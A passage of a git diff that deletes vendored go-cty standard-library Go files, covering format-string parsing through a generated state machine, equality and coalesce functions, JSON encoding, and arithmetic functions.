representation -// with lowercase letters -// %X Like %x but with uppercase letters -// %e Converts to number, produces scientific notation like -1.234456e+78 -// %E Like %e but with an uppercase "E" representing the exponent -// %f Converts to number, produces decimal representation with fractional -// part but no exponent, like 123.456 -// %g %e for large exponents or %f otherwise -// %G %E for large exponents or %f otherwise -// %s Converts to string and produces the string's characters -// %q Converts to string and produces JSON-quoted string representation, -// like %v. -// -// The default format selections made by %v are: -// -// string %s -// number %g -// bool %t -// other %#v -// -// Null values produce the literal keyword "null" for %v and %#v, and produce -// an error otherwise. -// -// Width is specified by an optional decimal number immediately preceding the -// verb letter. If absent, the width is whatever is necessary to represent the -// value. Precision is specified after the (optional) width by a period -// followed by a decimal number. If no period is present, a default precision -// is used. A period with no following number is invalid. -// For examples: -// -// %f default width, default precision -// %9f width 9, default precision -// %.2f default width, precision 2 -// %9.2f width 9, precision 2 -// -// Width and precision are measured in unicode characters (grapheme clusters). -// -// For most values, width is the minimum number of characters to output, -// padding the formatted form with spaces if necessary. -// -// For strings, precision limits the length of the input to be formatted (not -// the size of the output), truncating if necessary. -// -// For numbers, width sets the minimum width of the field and precision sets -// the number of places after the decimal, if appropriate, except that for -// %g/%G precision sets the total number of significant digits. -// -// The following additional symbols can be used immediately after the percent -// introducer as flags: -// -// (a space) leave a space where the sign would be if number is positive -// + Include a sign for a number even if it is positive (numeric only) -// - Pad with spaces on the left rather than the right -// 0 Pad with zeros rather than spaces. -// -// Flag characters are ignored for verbs that do not support them. -// -// By default, % sequences consume successive arguments starting with the first. -// Introducing a [n] sequence immediately before the verb letter, where n is a -// decimal integer, explicitly chooses a particular value argument by its -// one-based index. Subsequent calls without an explicit index will then -// proceed with n+1, n+2, etc. -// -// An error is produced if the format string calls for an impossible conversion -// or accesses more values than are given. An error is produced also for -// an unsupported format verb. -func Format(format cty.Value, vals ...cty.Value) (cty.Value, error) { - args := make([]cty.Value, 0, len(vals)+1) - args = append(args, format) - args = append(args, vals...) - return FormatFunc.Call(args) -} - -// FormatList applies the same formatting behavior as Format, but accepts -// a mixture of list and non-list values as arguments. Any list arguments -// passed must have the same length, which dictates the length of the -// resulting list. -// -// Any non-list arguments are used repeatedly for each iteration over the -// list arguments. The list arguments are iterated in order by key, so -// corresponding items are formatted together. -func FormatList(format cty.Value, vals ...cty.Value) (cty.Value, error) { - args := make([]cty.Value, 0, len(vals)+1) - args = append(args, format) - args = append(args, vals...) - return FormatListFunc.Call(args) -} - -type formatVerb struct { - Raw string - Offset int - - ArgNum int - Mode rune - - Zero bool - Sharp bool - Plus bool - Minus bool - Space bool - - HasPrec bool - Prec int - - HasWidth bool - Width int -} - -// formatAppend is called by formatFSM (generated by format_fsm.rl) for each -// formatting sequence that is encountered. -func formatAppend(verb *formatVerb, buf *bytes.Buffer, args []cty.Value) error { - argIdx := verb.ArgNum - 1 - if argIdx >= len(args) { - return fmt.Errorf( - "not enough arguments for %q at %d: need index %d but have %d total", - verb.Raw, verb.Offset, - verb.ArgNum, len(args), - ) - } - arg := args[argIdx] - - if verb.Mode != 'v' && arg.IsNull() { - return fmt.Errorf("unsupported value for %q at %d: null value cannot be formatted", verb.Raw, verb.Offset) - } - - // Normalize to make some things easier for downstream formatters - if !verb.HasWidth { - verb.Width = -1 - } - if !verb.HasPrec { - verb.Prec = -1 - } - - // For our first pass we'll ensure the verb is supported and then fan - // out to other functions based on what conversion is needed. - switch verb.Mode { - - case 'v': - return formatAppendAsIs(verb, buf, arg) - - case 't': - return formatAppendBool(verb, buf, arg) - - case 'b', 'd', 'o', 'x', 'X', 'e', 'E', 'f', 'g', 'G': - return formatAppendNumber(verb, buf, arg) - - case 's', 'q': - return formatAppendString(verb, buf, arg) - - default: - return fmt.Errorf("unsupported format verb %q in %q at offset %d", verb.Mode, verb.Raw, verb.Offset) - } -} - -func formatAppendAsIs(verb *formatVerb, buf *bytes.Buffer, arg cty.Value) error { - - if !verb.Sharp && !arg.IsNull() { - // Unless the caller overrode it with the sharp flag, we'll try some - // specialized formats before we fall back on JSON. - switch arg.Type() { - case cty.String: - fmted := arg.AsString() - fmted = formatPadWidth(verb, fmted) - buf.WriteString(fmted) - return nil - case cty.Number: - bf := arg.AsBigFloat() - fmted := bf.Text('g', -1) - fmted = formatPadWidth(verb, fmted) - buf.WriteString(fmted) - return nil - } - } - - jb, err := json.Marshal(arg, arg.Type()) - if err != nil { - return fmt.Errorf("unsupported value for %q at %d: %s", verb.Raw, verb.Offset, err) - } - fmted := formatPadWidth(verb, string(jb)) - buf.WriteString(fmted) - - return nil -} - -func formatAppendBool(verb *formatVerb, buf *bytes.Buffer, arg cty.Value) error { - var err error - arg, err = convert.Convert(arg, cty.Bool) - if err != nil { - return fmt.Errorf("unsupported value for %q at %d: %s", verb.Raw, verb.Offset, err) - } - - if arg.True() { - buf.WriteString("true") - } else { - buf.WriteString("false") - } - return nil -} - -func formatAppendNumber(verb *formatVerb, buf *bytes.Buffer, arg cty.Value) error { - var err error - arg, err = convert.Convert(arg, cty.Number) - if err != nil { - return fmt.Errorf("unsupported value for %q at %d: %s", verb.Raw, verb.Offset, err) - } - - switch verb.Mode { - case 'b', 'd', 'o', 'x', 'X': - return formatAppendInteger(verb, buf, arg) - default: - bf := arg.AsBigFloat() - - // For floats our format syntax is a subset of Go's, so it's - // safe for us to just lean on the existing Go implementation. - fmtstr := formatStripIndexSegment(verb.Raw) - fmted := fmt.Sprintf(fmtstr, bf) - buf.WriteString(fmted) - return nil - } -} - -func formatAppendInteger(verb *formatVerb, buf *bytes.Buffer, arg cty.Value) error { - bf := arg.AsBigFloat() - bi, acc := bf.Int(nil) - if acc != big.Exact { - return fmt.Errorf("unsupported value for %q at %d: an integer is required", verb.Raw, verb.Offset) - } - - // For integers our format syntax is a subset of Go's, so it's - // safe for us to just lean on the existing Go implementation. - fmtstr := formatStripIndexSegment(verb.Raw) - fmted := fmt.Sprintf(fmtstr, bi) - buf.WriteString(fmted) - return nil -} - -func formatAppendString(verb *formatVerb, buf *bytes.Buffer, arg cty.Value) error { - var err error - arg, err = convert.Convert(arg, cty.String) - if err != nil { - return fmt.Errorf("unsupported value for %q at %d: %s", verb.Raw, verb.Offset, err) - } - - // We _cannot_ directly use the Go fmt.Sprintf implementation for strings - // because it measures widths and precisions in runes rather than grapheme - // clusters. - - str := arg.AsString() - if verb.Prec > 0 { - strB := []byte(str) - pos := 0 - wanted := verb.Prec - for i := 0; i < wanted; i++ { - next := strB[pos:] - if len(next) == 0 { - // ran out of characters before we hit our max width - break - } - d, _, _ := textseg.ScanGraphemeClusters(strB[pos:], true) - pos += d - } - str = str[:pos] - } - - switch verb.Mode { - case 's': - fmted := formatPadWidth(verb, str) - buf.WriteString(fmted) - case 'q': - jb, err := json.Marshal(cty.StringVal(str), cty.String) - if err != nil { - // Should never happen, since we know this is a known, non-null string - panic(fmt.Errorf("failed to marshal %#v as JSON: %s", arg, err)) - } - fmted := formatPadWidth(verb, string(jb)) - buf.WriteString(fmted) - default: - // Should never happen because formatAppend should've already validated - panic(fmt.Errorf("invalid string formatting mode %q", verb.Mode)) - } - return nil -} - -func formatPadWidth(verb *formatVerb, fmted string) string { - if verb.Width < 0 { - return fmted - } - - // Safe to ignore errors because ScanGraphemeClusters cannot produce errors - givenLen, _ := textseg.TokenCount([]byte(fmted), textseg.ScanGraphemeClusters) - wantLen := verb.Width - if givenLen >= wantLen { - return fmted - } - - padLen := wantLen - givenLen - padChar := " " - if verb.Zero { - padChar = "0" - } - pads := strings.Repeat(padChar, padLen) - - if verb.Minus { - return fmted + pads - } - return pads + fmted -} - -// formatStripIndexSegment strips out any [nnn] segment present in a verb -// string so that we can pass it through to Go's fmt.Sprintf with a single -// argument. This is used in cases where we're just leaning on Go's formatter -// because it's a superset of ours. -func formatStripIndexSegment(rawVerb string) string { - // We assume the string has already been validated here, since we should - // only be using this function with strings that were accepted by our - // scanner in formatFSM. - start := strings.Index(rawVerb, "[") - end := strings.Index(rawVerb, "]") - if start == -1 || end == -1 { - return rawVerb - } - - return rawVerb[:start] + rawVerb[end+1:] -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/format_fsm.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/format_fsm.go deleted file mode 100644 index 32b1ac9712..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/format_fsm.go +++ /dev/null @@ -1,374 +0,0 @@ -// line 1 "format_fsm.rl" -// This file is generated from format_fsm.rl. DO NOT EDIT. - -// line 5 "format_fsm.rl" - -package stdlib - -import ( - "bytes" - "fmt" - "unicode/utf8" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" -) - -// line 21 "format_fsm.go" -var _formatfsm_actions []byte = []byte{ - 0, 1, 0, 1, 1, 1, 2, 1, 4, - 1, 5, 1, 6, 1, 7, 1, 8, - 1, 9, 1, 10, 1, 11, 1, 14, - 1, 16, 1, 17, 1, 18, 2, 3, - 4, 2, 12, 10, 2, 12, 16, 2, - 12, 18, 2, 13, 14, 2, 15, 10, - 2, 15, 18, -} - -var _formatfsm_key_offsets []byte = []byte{ - 0, 0, 14, 27, 34, 36, 39, 43, - 51, -} - -var _formatfsm_trans_keys []byte = []byte{ - 32, 35, 37, 43, 45, 46, 48, 91, - 49, 57, 65, 90, 97, 122, 32, 35, - 43, 45, 46, 48, 91, 49, 57, 65, - 90, 97, 122, 91, 48, 57, 65, 90, - 97, 122, 49, 57, 93, 48, 57, 65, - 90, 97, 122, 46, 91, 48, 57, 65, - 90, 97, 122, 37, -} - -var _formatfsm_single_lengths []byte = []byte{ - 0, 8, 7, 1, 0, 1, 0, 2, - 1, -} - -var _formatfsm_range_lengths []byte = []byte{ - 0, 3, 3, 3, 1, 1, 2, 3, - 0, -} - -var _formatfsm_index_offsets []byte = []byte{ - 0, 0, 12, 23, 28, 30, 33, 36, - 42, -} - -var _formatfsm_indicies []byte = []byte{ - 1, 2, 3, 4, 5, 6, 7, 10, - 8, 9, 9, 0, 1, 2, 4, 5, - 6, 7, 10, 8, 9, 9, 0, 13, - 11, 12, 12, 0, 14, 0, 15, 14, - 0, 9, 9, 0, 16, 19, 17, 18, - 18, 0, 20, 3, -} - -var _formatfsm_trans_targs []byte = []byte{ - 0, 2, 2, 8, 2, 2, 3, 2, - 7, 8, 4, 3, 8, 4, 5, 6, - 3, 7, 8, 4, 1, -} - -var _formatfsm_trans_actions []byte = []byte{ - 7, 17, 9, 3, 15, 13, 25, 11, - 43, 29, 19, 27, 49, 46, 21, 0, - 37, 23, 40, 34, 1, -} - -var _formatfsm_eof_actions []byte = []byte{ - 0, 31, 31, 31, 31, 31, 31, 31, - 5, -} - -const formatfsm_start int = 8 -const formatfsm_first_final int = 8 -const formatfsm_error int = 0 - -const formatfsm_en_main int = 8 - -// line 20 "format_fsm.rl" - -func formatFSM(format string, a []cty.Value) (string, error) { - var buf bytes.Buffer - data := format - nextArg := 1 // arg numbers are 1-based - var verb formatVerb - highestArgIdx := 0 // zero means "none", since arg numbers are 1-based - - // line 159 "format_fsm.rl" - - // Ragel state - p := 0 // "Pointer" into data - pe := len(data) // End-of-data "pointer" - cs := 0 // current state (will be initialized by ragel-generated code) - ts := 0 - te := 0 - eof := pe - - // Keep Go compiler happy even if generated code doesn't use these - _ = ts - _ = te - _ = eof - - // line 123 "format_fsm.go" - { - cs = formatfsm_start - } - - // line 128 "format_fsm.go" - { - var _klen int - var _trans int - var _acts int - var _nacts uint - var _keys int - if p == pe { - goto _test_eof - } - if cs == 0 { - goto _out - } - _resume: - _keys = int(_formatfsm_key_offsets[cs]) - _trans = int(_formatfsm_index_offsets[cs]) - - _klen = int(_formatfsm_single_lengths[cs]) - if _klen > 0 { - _lower := int(_keys) - var _mid int - _upper := int(_keys + _klen - 1) - for { - if _upper < _lower { - break - } - - _mid = _lower + ((_upper - _lower) >> 1) - switch { - case data[p] < _formatfsm_trans_keys[_mid]: - _upper = _mid - 1 - case data[p] > _formatfsm_trans_keys[_mid]: - _lower = _mid + 1 - default: - _trans += int(_mid - int(_keys)) - goto _match - } - } - _keys += _klen - _trans += _klen - } - - _klen = int(_formatfsm_range_lengths[cs]) - if _klen > 0 { - _lower := int(_keys) - var _mid int - _upper := int(_keys + (_klen << 1) - 2) - for { - if _upper < _lower { - break - } - - _mid = _lower + (((_upper - _lower) >> 1) & ^1) - switch { - case data[p] < _formatfsm_trans_keys[_mid]: - _upper = _mid - 2 - case data[p] > _formatfsm_trans_keys[_mid+1]: - _lower = _mid + 2 - default: - _trans += int((_mid - int(_keys)) >> 1) - goto _match - } - } - _trans += _klen - } - - _match: - _trans = int(_formatfsm_indicies[_trans]) - cs = int(_formatfsm_trans_targs[_trans]) - - if _formatfsm_trans_actions[_trans] == 0 { - goto _again - } - - _acts = int(_formatfsm_trans_actions[_trans]) - _nacts = uint(_formatfsm_actions[_acts]) - _acts++ - for ; _nacts > 0; _nacts-- { - _acts++ - switch _formatfsm_actions[_acts-1] { - case 0: - // line 31 "format_fsm.rl" - - verb = formatVerb{ - ArgNum: nextArg, - Prec: -1, - Width: -1, - } - ts = p - - case 1: - // line 40 "format_fsm.rl" - - buf.WriteByte(data[p]) - - case 4: - // line 51 "format_fsm.rl" - - // We'll try to slurp a whole UTF-8 sequence here, to give the user - // better feedback. - r, _ := utf8.DecodeRuneInString(data[p:]) - return buf.String(), fmt.Errorf("unrecognized format character %q at offset %d", r, p) - - case 5: - // line 58 "format_fsm.rl" - - verb.Sharp = true - - case 6: - // line 61 "format_fsm.rl" - - verb.Zero = true - - case 7: - // line 64 "format_fsm.rl" - - verb.Minus = true - - case 8: - // line 67 "format_fsm.rl" - - verb.Plus = true - - case 9: - // line 70 "format_fsm.rl" - - verb.Space = true - - case 10: - // line 74 "format_fsm.rl" - - verb.ArgNum = 0 - - case 11: - // line 77 "format_fsm.rl" - - verb.ArgNum = (10 * verb.ArgNum) + (int(data[p]) - '0') - - case 12: - // line 81 "format_fsm.rl" - - verb.HasWidth = true - - case 13: - // line 84 "format_fsm.rl" - - verb.Width = 0 - - case 14: - // line 87 "format_fsm.rl" - - verb.Width = (10 * verb.Width) + (int(data[p]) - '0') - - case 15: - // line 91 "format_fsm.rl" - - verb.HasPrec = true - - case 16: - // line 94 "format_fsm.rl" - - verb.Prec = 0 - - case 17: - // line 97 "format_fsm.rl" - - verb.Prec = (10 * verb.Prec) + (int(data[p]) - '0') - - case 18: - // line 101 "format_fsm.rl" - - verb.Mode = rune(data[p]) - te = p + 1 - verb.Raw = data[ts:te] - verb.Offset = ts - - if verb.ArgNum > highestArgIdx { - highestArgIdx = verb.ArgNum - } - - err := formatAppend(&verb, &buf, a) - if err != nil { - return buf.String(), err - } - nextArg = verb.ArgNum + 1 - - // line 330 "format_fsm.go" - } - } - - _again: - if cs == 0 { - goto _out - } - p++ - if p != pe { - goto _resume - } - _test_eof: - { - } - if p == eof { - __acts := _formatfsm_eof_actions[cs] - __nacts := uint(_formatfsm_actions[__acts]) - __acts++ - for ; __nacts > 0; __nacts-- { - __acts++ - switch _formatfsm_actions[__acts-1] { - case 2: - // line 44 "format_fsm.rl" - - case 3: - // line 47 "format_fsm.rl" - - return buf.String(), fmt.Errorf("invalid format string starting at offset %d", p) - - case 4: - // line 51 "format_fsm.rl" - - // We'll try to slurp a whole UTF-8 sequence here, to give the user - // better feedback. - r, _ := utf8.DecodeRuneInString(data[p:]) - return buf.String(), fmt.Errorf("unrecognized format character %q at offset %d", r, p) - - // line 369 "format_fsm.go" - } - } - } - - _out: - { - } - } - - // line 177 "format_fsm.rl" - - // If we fall out here without being in a final state then we've - // encountered something that the scanner can't match, which should - // be impossible (the scanner matches all bytes _somehow_) but we'll - // flag it anyway rather than just losing data from the end. - if cs < formatfsm_first_final { - return buf.String(), fmt.Errorf("extraneous characters beginning at offset %d", p) - } - - if highestArgIdx < len(a) { - // Extraneous args are an error, to more easily detect mistakes - firstBad := highestArgIdx + 1 - if highestArgIdx == 0 { - // Custom error message for this case - return buf.String(), function.NewArgErrorf(firstBad, "too many arguments; no verbs in format string") - } - return buf.String(), function.NewArgErrorf(firstBad, "too many arguments; only %d used by format string", highestArgIdx) - } - - return buf.String(), nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/format_fsm.rl b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/format_fsm.rl deleted file mode 100644 index 3c642d9e14..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/format_fsm.rl +++ /dev/null @@ -1,198 +0,0 @@ -// This file is generated from format_fsm.rl. DO NOT EDIT. -%%{ - # (except you are actually in scan_tokens.rl here, so edit away!) - machine formatfsm; -}%% - -package stdlib - -import ( - "bytes" - "fmt" - "unicode/utf8" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" -) - -%%{ - write data; -}%% - -func formatFSM(format string, a []cty.Value) (string, error) { - var buf bytes.Buffer - data := format - nextArg := 1 // arg numbers are 1-based - var verb formatVerb - highestArgIdx := 0 // zero means "none", since arg numbers are 1-based - - %%{ - - action begin { - verb = formatVerb{ - ArgNum: nextArg, - Prec: -1, - Width: -1, - } - ts = p - } - - action emit { - buf.WriteByte(fc); - } - - action finish_ok { - } - - action finish_err { - return buf.String(), fmt.Errorf("invalid format string starting at offset %d", p) - } - - action err_char { - // We'll try to slurp a whole UTF-8 sequence here, to give the user - // better feedback. - r, _ := utf8.DecodeRuneInString(data[p:]) - return buf.String(), fmt.Errorf("unrecognized format character %q at offset %d", r, p) - } - - action flag_sharp { - verb.Sharp = true - } - action flag_zero { - verb.Zero = true - } - action flag_minus { - verb.Minus = true - } - action flag_plus { - verb.Plus = true - } - action flag_space { - verb.Space = true - } - - action argidx_reset { - verb.ArgNum = 0 - } - action argidx_num { - verb.ArgNum = (10 * verb.ArgNum) + (int(fc) - '0') - } - - action has_width { - verb.HasWidth = true - } - action width_reset { - verb.Width = 0 - } - action width_num { - verb.Width = (10 * verb.Width) + (int(fc) - '0') - } - - action has_prec { - verb.HasPrec = true - } - action prec_reset { - verb.Prec = 0 - } - action prec_num { - verb.Prec = (10 * verb.Prec) + (int(fc) - '0') - } - - action mode { - verb.Mode = rune(fc) - te = p+1 - verb.Raw = data[ts:te] - verb.Offset = ts - - if verb.ArgNum > highestArgIdx { - highestArgIdx = verb.ArgNum - } - - err := formatAppend(&verb, &buf, a) - if err != nil { - return buf.String(), err - } - nextArg = verb.ArgNum + 1 - } - - # a number that isn't zero and doesn't have a leading zero - num = [1-9] [0-9]*; - - flags = ( - '0' @flag_zero | - '#' @flag_sharp | - '-' @flag_minus | - '+' @flag_plus | - ' ' @flag_space - )*; - - argidx = (( - '[' (num $argidx_num) ']' - ) >argidx_reset)?; - - width = ( - ( num $width_num ) >width_reset %has_width - )?; - - precision = ( - ('.' ( digit* $prec_num )) >prec_reset %has_prec - )?; - - # We accept any letter here, but will be more picky in formatAppend - mode = ('a'..'z' | 'A'..'Z') @mode; - - fmt_verb = ( - '%' @begin - flags - width - precision - argidx - mode - ); - - main := ( - [^%] @emit | - '%%' @emit | - fmt_verb - )* @/finish_err %/finish_ok $!err_char; - - }%% - - // Ragel state - p := 0 // "Pointer" into data - pe := len(data) // End-of-data "pointer" - cs := 0 // current state (will be initialized by ragel-generated code) - ts := 0 - te := 0 - eof := pe - - // Keep Go compiler happy even if generated code doesn't use these - _ = ts - _ = te - _ = eof - - %%{ - write init; - write exec; - }%% - - // If we fall out here without being in a final state then we've - // encountered something that the scanner can't match, which should - // be impossible (the scanner matches all bytes _somehow_) but we'll - // flag it anyway rather than just losing data from the end. - if cs < formatfsm_first_final { - return buf.String(), fmt.Errorf("extraneous characters beginning at offset %d", p) - } - - if highestArgIdx < len(a) { - // Extraneous args are an error, to more easily detect mistakes - firstBad := highestArgIdx+1 - if highestArgIdx == 0 { - // Custom error message for this case - return buf.String(), function.NewArgErrorf(firstBad, "too many arguments; no verbs in format string") - } - return buf.String(), function.NewArgErrorf(firstBad, "too many arguments; only %d used by format string", highestArgIdx) - } - - return buf.String(), nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/general.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/general.go deleted file mode 100644 index 6b31f26614..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/general.go +++ /dev/null @@ -1,107 +0,0 @@ -package stdlib - -import ( - "fmt" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" - "github.com/zclconf/go-cty/cty/function" -) - -var EqualFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.DynamicPseudoType, - AllowUnknown: true, - AllowDynamicType: true, - AllowNull: true, - }, - { - Name: "b", - Type: cty.DynamicPseudoType, - AllowUnknown: true, - AllowDynamicType: true, - AllowNull: true, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return args[0].Equals(args[1]), nil - }, -}) - -var NotEqualFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.DynamicPseudoType, - AllowUnknown: true, - AllowDynamicType: true, - AllowNull: true, - }, - { - Name: "b", - Type: cty.DynamicPseudoType, - AllowUnknown: true, - AllowDynamicType: true, - AllowNull: true, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return args[0].Equals(args[1]).Not(), nil - }, -}) - -var CoalesceFunc = function.New(&function.Spec{ - Params: []function.Parameter{}, - VarParam: &function.Parameter{ - Name: "vals", - Type: cty.DynamicPseudoType, - AllowUnknown: true, - AllowDynamicType: true, - AllowNull: true, - }, - Type: func(args []cty.Value) (ret cty.Type, err error) { - argTypes := make([]cty.Type, len(args)) - for i, val := range args { - argTypes[i] = val.Type() - } - retType, _ := convert.UnifyUnsafe(argTypes) - if retType == cty.NilType { - return cty.NilType, fmt.Errorf("all arguments must have the same type") - } - return retType, nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - for _, argVal := range args { - if !argVal.IsKnown() { - return cty.UnknownVal(retType), nil - } - if argVal.IsNull() { - continue - } - - return convert.Convert(argVal, retType) - } - return cty.NilVal, fmt.Errorf("no non-null arguments") - }, -}) - -// Equal determines whether the two given values are equal, returning a -// bool value. -func Equal(a cty.Value, b cty.Value) (cty.Value, error) { - return EqualFunc.Call([]cty.Value{a, b}) -} - -// NotEqual is the opposite of Equal. -func NotEqual(a cty.Value, b cty.Value) (cty.Value, error) { - return NotEqualFunc.Call([]cty.Value{a, b}) -} - -// Coalesce returns the first of the given arguments that is not null. If -// all arguments are null, an error is produced. -func Coalesce(vals ...cty.Value) (cty.Value, error) { - return CoalesceFunc.Call(vals) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/json.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/json.go deleted file mode 100644 index 02770a6528..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/json.go +++ /dev/null @@ -1,77 +0,0 @@ -package stdlib - -import ( - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" - "github.com/zclconf/go-cty/cty/json" -) - -var JSONEncodeFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "val", - Type: cty.DynamicPseudoType, - AllowDynamicType: true, - AllowNull: true, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - val := args[0] - if !val.IsWhollyKnown() { - // We can't serialize unknowns, so if the value is unknown or - // contains any _nested_ unknowns then our result must be - // unknown. - return cty.UnknownVal(retType), nil - } - - if val.IsNull() { - return cty.StringVal("null"), nil - } - - buf, err := json.Marshal(val, val.Type()) - if err != nil { - return cty.NilVal, err - } - - return cty.StringVal(string(buf)), nil - }, -}) - -var JSONDecodeFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - str := args[0] - if !str.IsKnown() { - return cty.DynamicPseudoType, nil - } - - buf := []byte(str.AsString()) - return json.ImpliedType(buf) - }, - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - buf := []byte(args[0].AsString()) - return json.Unmarshal(buf, retType) - }, -}) - -// JSONEncode returns a JSON serialization of the given value. -func JSONEncode(val cty.Value) (cty.Value, error) { - return JSONEncodeFunc.Call([]cty.Value{val}) -} - -// JSONDecode parses the given JSON string and, if it is valid, returns the -// value it represents. -// -// Note that applying JSONDecode to the result of JSONEncode may not produce -// an identically-typed result, since JSON encoding is lossy for cty Types. -// The resulting value will consist only of primitive types, object types, and -// tuple types. -func JSONDecode(str cty.Value) (cty.Value, error) { - return JSONDecodeFunc.Call([]cty.Value{str}) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/number.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/number.go deleted file mode 100644 index 7bbe584b0a..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/number.go +++ /dev/null @@ -1,653 +0,0 @@ -package stdlib - -import ( - "fmt" - "math" - "math/big" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" - "github.com/zclconf/go-cty/cty/gocty" -) - -var AbsoluteFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "num", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - return args[0].Absolute(), nil - }, -}) - -var AddFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Number, - AllowDynamicType: true, - }, - { - Name: "b", - Type: cty.Number, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - // big.Float.Add can panic if the input values are opposing infinities, - // so we must catch that here in order to remain within - // the cty Function abstraction. - defer func() { - if r := recover(); r != nil { - if _, ok := r.(big.ErrNaN); ok { - ret = cty.NilVal - err = fmt.Errorf("can't compute sum of opposing infinities") - } else { - // not a panic we recognize - panic(r) - } - } - }() - return args[0].Add(args[1]), nil - }, -}) - -var SubtractFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Number, - AllowDynamicType: true, - }, - { - Name: "b", - Type: cty.Number, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - // big.Float.Sub can panic if the input values are infinities, - // so we must catch that here in order to remain within - // the cty Function abstraction. - defer func() { - if r := recover(); r != nil { - if _, ok := r.(big.ErrNaN); ok { - ret = cty.NilVal - err = fmt.Errorf("can't subtract infinity from itself") - } else { - // not a panic we recognize - panic(r) - } - } - }() - return args[0].Subtract(args[1]), nil - }, -}) - -var MultiplyFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Number, - AllowDynamicType: true, - }, - { - Name: "b", - Type: cty.Number, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - // big.Float.Mul can panic if the input values are both zero or both - // infinity, so we must catch that here in order to remain within - // the cty Function abstraction. - defer func() { - if r := recover(); r != nil { - if _, ok := r.(big.ErrNaN); ok { - ret = cty.NilVal - err = fmt.Errorf("can't multiply zero by infinity") - } else { - // not a panic we recognize - panic(r) - } - } - }() - - return args[0].Multiply(args[1]), nil - }, -}) - -var DivideFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Number, - AllowDynamicType: true, - }, - { - Name: "b", - Type: cty.Number, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - // big.Float.Quo can panic if the input values are both zero or both - // infinity, so we must catch that here in order to remain within - // the cty Function abstraction. - defer func() { - if r := recover(); r != nil { - if _, ok := r.(big.ErrNaN); ok { - ret = cty.NilVal - err = fmt.Errorf("can't divide zero by zero or infinity by infinity") - } else { - // not a panic we recognize - panic(r) - } - } - }() - - return args[0].Divide(args[1]), nil - }, -}) - -var ModuloFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Number, - AllowDynamicType: true, - }, - { - Name: "b", - Type: cty.Number, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - // big.Float.Mul can panic if the input values are both zero or both - // infinity, so we must catch that here in order to remain within - // the cty Function abstraction. - defer func() { - if r := recover(); r != nil { - if _, ok := r.(big.ErrNaN); ok { - ret = cty.NilVal - err = fmt.Errorf("can't use modulo with zero and infinity") - } else { - // not a panic we recognize - panic(r) - } - } - }() - - return args[0].Modulo(args[1]), nil - }, -}) - -var GreaterThanFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, - { - Name: "b", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return args[0].GreaterThan(args[1]), nil - }, -}) - -var GreaterThanOrEqualToFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, - { - Name: "b", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, 